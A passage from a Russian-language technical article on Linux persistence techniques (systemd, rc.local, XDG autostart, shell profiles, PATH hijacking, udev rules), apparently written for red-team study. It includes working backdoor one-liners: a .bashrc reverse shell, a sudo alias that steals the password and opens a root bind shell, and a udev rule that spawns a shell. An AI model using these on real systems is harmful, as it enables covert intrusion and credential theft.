\u0432\u0430\u0448 \u0441\u0435\u0440\u0432\u0438\u0441 \u0431\u0443\u0434\u0435\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u0442\u044c \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c. \u0415\u0441\u043b\u0438 \u0444\u0430\u0439\u043b \u0441 \u044e\u043d\u0438\u0442\u043e\u043c \u043d\u0430\u0439\u0434\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0443\u0434\u0430\u043b\u0438\u0442 \u0435\u0433\u043e, \u0442\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0440\u0442\u0430\u043d\u0443\u0442\u044c (\u043d\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438), \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c\u0441\u044f \u043a\u043e\u0434 \u0438\u0437 \u0441\u0435\u043a\u0446\u0438\u0438 OnFailure.<\/p>\n<\/li>\n<\/ol>\n<p><strong>\u041a\u0430\u043a\u0438\u0435 \u0434\u0435\u043c\u043e\u043d\u044b \u0442\u0435\u0431\u044f \u0432\u0435\u0434\u0443\u0442?<\/strong><\/p>\n<p>\u0422\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0440\u0435\u043c\u0430\u0440\u043a\u0443, systemd \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 \u0438 \u0434\u0435\u043c\u043e\u043d\u0430\u043c\u0438, \u0438 \u044d\u0442\u043e \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u0434\u0435\u043c\u043e\u043d\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0444\u043e\u043d\u043e\u0432\u0430\u044f \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430. \u041f\u043e\u043c\u0438\u043c\u043e \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u043c\u043e\u043d\u044b. \u0422\u0438\u043f\u043e\u0432 \u044e\u043d\u0438\u0442\u043e\u0432 systemd \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0438 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0432\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439: service, device, target, mount, automount, timer, socket, path, slice.<\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 rc.local \u0438 rc.common<\/strong><\/p>\n<p>\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0443\u0436\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u0412 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 Unix-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u044d\u0442\u043e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u0430\u043c\u0435\u043d\u0435\u043d&nbsp;<code>systemd<\/code>, \u043d\u043e \u043c\u0430\u0442\u0440\u0438\u0446\u0430&nbsp;<a href=\"https:\/\/attack.mitre.org\/techniques\/T1037\/004\/\" rel=\"noopener noreferrer nofollow\">MITRE ATT&amp;CK<\/a>&nbsp;\u0432\u044b\u0434\u0435\u043b\u0430\u0435\u0442 RC-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u0432&nbsp;<code>\/etc\/rc.local<\/code>. \u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.<\/p>\n<p>\u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445&nbsp;<code>systemd<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440&nbsp;<code>\/usr\/lib\/systemd\/system-generators\/systemd-sysv-generator<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043b\u044f RC-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438\u0437&nbsp;<code>\/etc\/init.d<\/code>&nbsp;\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 unit-\u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043b\u0435\u0442\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0438\u0445 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u044b. \u041e\u043d\u0438 \u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u0432&nbsp;<code>\/run\/systemd\/system\/<\/code>.<\/p>\n<p><strong>\u041e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 &#8212; XDG autostart<\/strong><\/p>\n<p>\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0439 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0441\u0442\u043e\u043b\u043e\u0432 (desktop environments) \u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u0432 \u043e\u043a\u043e\u043d (windows managers) \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c (XDG autostart). \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432&nbsp;<code>~\/.config\/autostart<\/code>&nbsp;\u0438\u043b\u0438&nbsp;<code>\/etc\/xdg\/autostart\/<\/code>&nbsp;\u0438 \u0438\u043c\u0435\u044e\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 *.desktop. \u041a\u043e\u0434, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0435\u0432\u0448\u0435\u0433\u043e\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0443\u0442\u0438&nbsp;<code>~\/.config\/autostart<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/xdg\/autostart\/<\/code>&nbsp;\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f&nbsp;<code>$XDG_CONFIG_HOME<\/code>&nbsp;\u0438&nbsp;<code>$XDG_CONFIG_DIRS<\/code>, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u0434\u043b\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c.<\/p>\n<pre><code>[Desktop Entry] Type=Application # \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0438\u043f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438: \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (application), \u0441\u0441\u044b\u043b\u043a\u0430 (link) \u0438\u043b\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 (directory) Name=Welcome&nbsp; # \u0418\u043c\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0435\u043c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 Exec=\/var\/lib\/gnome-welcome-tour&nbsp; # \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c<\/code><\/pre>\n<p><strong>.bashrc, .bash_profile \u0438&nbsp; .bash_login<\/strong><\/p>\n<p>\u042d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430. \u0423 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0441\u0442\u044c \u0438 \u043e\u0431\u0449\u0435\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0430\u043d\u0430\u043b\u043e\u0433\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \/etc\/. \u0424\u0430\u0439\u043b&nbsp;<code>.bash_profile<\/code>&nbsp;\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a.&nbsp;<code>.bashrc<\/code>&nbsp;&#8212; \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445. \u0412 Ubuntu \u0444\u0430\u0439\u043b&nbsp;<code>profile<\/code>&nbsp;\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b&nbsp;<code>.bashrc<\/code>&nbsp;\u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e. \u0424\u0430\u0439\u043b&nbsp;<code>.bash_login<\/code>&nbsp;\u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f, \u0435\u0441\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c&nbsp;<code>.bashrc<\/code>. \u041d\u0443 \u0438\u043b\u0438 \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a. \u041d\u0435 \u0441\u0443\u0442\u044c.<\/p>\n<p>\u0421\u0443\u0442\u044c \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u0438 \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0434\u0435\u043b\u0430\u0442\u044c.&nbsp;<\/p>\n<p><code>echo 'bash -i &gt;&amp; \/dev\/tcp\/ip\/port 0&gt;&amp;1' &gt; ~\/.bashrc<\/code>&nbsp;&#8212; \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b, \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0438\u043c\u0435\u0442\u044c \u043e\u0436\u0438\u0434\u0430\u044e\u0449\u0438\u0439 listener, \u0433\u0434\u0435 \u043d\u0430\u0434\u043e.<\/p>\n<p>\u041e\u0434\u0438\u043d \u043c\u043e\u0439 \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0439 \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0434\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: &#171;\u041c\u043e\u0436\u0435\u0442 \u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c 10 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432&#187;. \u041e\u0442\u0432\u0435\u0442: &#171;\u0414\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0433\u043e\u0434\u043d\u043e, \u0435\u0441\u043b\u0438 \u043f\u043e\u0432\u0435\u0441\u0438\u0442\u044c alias&#187;. \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0442\u0435\u043c\u0443, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c backconnect, \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 sudo.&nbsp;<\/p>\n<pre><code class=\"bash\">alias sudo='echo -n \"[sudo] password for \\$USER: \";read -s pwd;echo; unalias sudo; echo \"\\$pwd\" | \/usr\/bin\/sudo -S nohup nc -lvp 1234 -e \/bin\/bash &gt; \/dev\/null &amp;&amp; \/usr\/bin\/sudo -S '<\/code><\/pre>\n<p>\u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0439 \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u0440\u043e\u0436\u0438\u0432\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u043a\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c&nbsp;<code>.bashrc<\/code>. \u0425\u043e\u0442\u044f \u043a\u043e\u0435-\u0433\u0434\u0435 \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0443\u043f\u0435\u0440 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u044b \u043e\u0447\u0435\u043d\u044c \u0440\u0435\u0434\u043a\u043e \u043f\u0435\u0440\u0435\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.&nbsp;<\/p>\n<p>\u0422\u043e \u043b\u0438 \u0434\u0435\u043b\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0435\u0441\u043b\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0434\u043b\u044f \u0447\u0435\u0433\u043e-\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435. \u041f\u043e\u0434\u0443\u043c\u0430\u0435\u0448\u044c, \u043e\u0434\u043d\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 &#8212; \u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u043d\u044c\u0448\u0435. \u041f\u0438\u0448\u0435\u043c \u0432 \u0444\u0430\u0439\u043b .bashrc&nbsp;<code>export PATH=$PATH:\/opt\/local\/bin<\/code>&nbsp;&#8212; \u0430 \u043f\u043e\u0442\u043e\u043c \u0432 \/opt\/local\/bin \u043a\u043b\u0430\u0434\u0435\u043c \u043d\u0430\u0448 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439&nbsp;<code>ls<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043d\u0430 \u04212, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f PATH \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u043a\u043e\u043d\u0446\u0430, \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430\u0448 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439&nbsp;<code>ls<\/code>, \u0430 \u043d\u0435 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439. Spoiler: \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437&nbsp;<code>.bashrc<\/code>. \u041d\u0443 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439, \u0432\u0441\u0435\u0433\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0443 \u0432 \u0441\u0430\u043c\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435. \u041a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u0440\u0430\u0432\u0434\u0430, \u043a\u0430\u043d\u0435\u0442 \u0432 \u043b\u0435\u0442\u0443 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c.<\/p>\n<h4>Driver backdoor<\/h4>\n<p>\u0424\u0438\u043b\u043e\u0441\u043e\u0444\u0438\u044f UNIX \u0433\u043b\u0430\u0441\u0438\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0435\u0441\u0442\u044c \u0444\u0430\u0439\u043b. \u0410 \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u043e\u0436\u0435. \u0412 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433&nbsp;<code>\/etc\/udev\/rules.d\/<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0418\u0437\u043c\u0435\u043d\u044f\u044f \u044d\u0442\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043c\u0443, \u043d\u043e \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 &#8212; \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/p>\n<pre><code class=\"bash\">RSHELL=\"ncat ncat -lvp 1234 -e \\\"\/bin\/bash -c id;\/bin\/bash\\\" 2&gt;\/dev\/null\" echo \"ACTION==\\\"add\\\",ENV{DEVTYPE}==\\\"usb_device\\\",SUBSYSTEM==\\\"usb\\\",RUN+=\\\"$RSHELL\\\"\" | tee \/etc\/udev\/rules.d\/71-vbox-kernel-drivers.rules &gt; \/dev\/null<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 